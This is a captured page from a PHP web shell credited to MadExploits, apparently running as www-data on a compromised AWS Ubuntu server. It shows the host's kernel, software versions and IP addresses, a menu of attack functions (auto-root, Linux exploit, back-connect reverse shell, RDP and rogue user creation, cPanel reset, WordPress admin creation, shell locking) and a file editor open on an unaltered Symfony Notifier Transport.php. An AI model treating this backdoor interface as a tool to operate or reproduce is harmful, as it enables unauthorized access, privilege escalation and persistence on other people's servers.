Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 18.222.106.93
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
boaz /
vendor /
symfony /
notifier /
[ HOME SHELL ]
Name
Size
Permission
Action
Channel
[ DIR ]
drwxrwxr-x
DataCollector
[ DIR ]
drwxrwxr-x
Event
[ DIR ]
drwxrwxr-x
EventListener
[ DIR ]
drwxrwxr-x
Exception
[ DIR ]
drwxrwxr-x
Message
[ DIR ]
drwxrwxr-x
Messenger
[ DIR ]
drwxrwxr-x
Notification
[ DIR ]
drwxrwxr-x
Recipient
[ DIR ]
drwxrwxr-x
Transport
[ DIR ]
drwxrwxr-x
CHANGELOG.md
347
B
-rw-rw-r--
Chatter.php
1.74
KB
-rw-rw-r--
ChatterInterface.php
569
B
-rw-rw-r--
LICENSE
1.04
KB
-rw-rw-r--
Notifier.php
3.77
KB
-rw-rw-r--
NotifierInterface.php
631
B
-rw-rw-r--
README.md
750
B
-rw-rw-r--
Texter.php
1.74
KB
-rw-rw-r--
TexterInterface.php
567
B
-rw-rw-r--
Transport.php
4.61
KB
-rw-rw-r--
composer.json
835
B
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Transport.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Notifier; use Symfony\Component\Notifier\Bridge\Firebase\FirebaseTransportFactory; use Symfony\Component\Notifier\Bridge\FreeMobile\FreeMobileTransportFactory; use Symfony\Component\Notifier\Bridge\Mattermost\MattermostTransportFactory; use Symfony\Component\Notifier\Bridge\Nexmo\NexmoTransportFactory; use Symfony\Component\Notifier\Bridge\OvhCloud\OvhCloudTransportFactory; use Symfony\Component\Notifier\Bridge\RocketChat\RocketChatTransportFactory; use Symfony\Component\Notifier\Bridge\Sinch\SinchTransportFactory; use Symfony\Component\Notifier\Bridge\Slack\SlackTransportFactory; use Symfony\Component\Notifier\Bridge\Telegram\TelegramTransportFactory; use Symfony\Component\Notifier\Bridge\Twilio\TwilioTransportFactory; use Symfony\Component\Notifier\Exception\UnsupportedSchemeException; use Symfony\Component\Notifier\Transport\Dsn; use Symfony\Component\Notifier\Transport\FailoverTransport; use Symfony\Component\Notifier\Transport\NullTransportFactory; use Symfony\Component\Notifier\Transport\RoundRobinTransport; use Symfony\Component\Notifier\Transport\TransportFactoryInterface; use Symfony\Component\Notifier\Transport\TransportInterface; use Symfony\Component\Notifier\Transport\Transports; use Symfony\Contracts\EventDispatcher\EventDispatcherInterface; use Symfony\Contracts\HttpClient\HttpClientInterface; /** * @author Fabien Potencier <fabien@symfony.com> * * @experimental in 5.1 */ class Transport { private const FACTORY_CLASSES = [ SlackTransportFactory::class, TelegramTransportFactory::class, MattermostTransportFactory::class, NexmoTransportFactory::class, RocketChatTransportFactory::class, TwilioTransportFactory::class, OvhCloudTransportFactory::class, FirebaseTransportFactory::class, SinchTransportFactory::class, FreeMobileTransportFactory::class, ]; private $factories; public static function fromDsn(string $dsn, EventDispatcherInterface $dispatcher = null, HttpClientInterface $client = null): TransportInterface { $factory = new self(self::getDefaultFactories($dispatcher, $client)); return $factory->fromString($dsn); } public static function fromDsns(array $dsns, EventDispatcherInterface $dispatcher = null, HttpClientInterface $client = null): TransportInterface { $factory = new self(iterator_to_array(self::getDefaultFactories($dispatcher, $client))); return $factory->fromStrings($dsns); } /** * @param TransportFactoryInterface[] $factories */ public function __construct(iterable $factories) { $this->factories = $factories; } public function fromStrings(array $dsns): Transports { $transports = []; foreach ($dsns as $name => $dsn) { $transports[$name] = $this->fromString($dsn); } return new Transports($transports); } public function fromString(string $dsn): TransportInterface { $dsns = preg_split('/\s++\|\|\s++/', $dsn); if (\count($dsns) > 1) { return new FailoverTransport($this->createFromDsns($dsns)); } $dsns = preg_split('/\s++&&\s++/', $dsn); if (\count($dsns) > 1) { return new RoundRobinTransport($this->createFromDsns($dsns)); } return $this->fromDsnObject(Dsn::fromString($dsn)); } public function fromDsnObject(Dsn $dsn): TransportInterface { foreach ($this->factories as $factory) { if ($factory->supports($dsn)) { return $factory->create($dsn); } } throw new UnsupportedSchemeException($dsn); } /** * @return TransportInterface[] */ private function createFromDsns(array $dsns): array { $transports = []; foreach ($dsns as $dsn) { $transports[] = $this->fromDsnObject(Dsn::fromString($dsn)); } return $transports; } /** * @return TransportFactoryInterface[] */ private static function getDefaultFactories(EventDispatcherInterface $dispatcher = null, HttpClientInterface $client = null): iterable { foreach (self::FACTORY_CLASSES as $factoryClass) { if (class_exists($factoryClass)) { yield new $factoryClass($dispatcher, $client); } } yield new NullTransportFactory($dispatcher, $client); } }
Close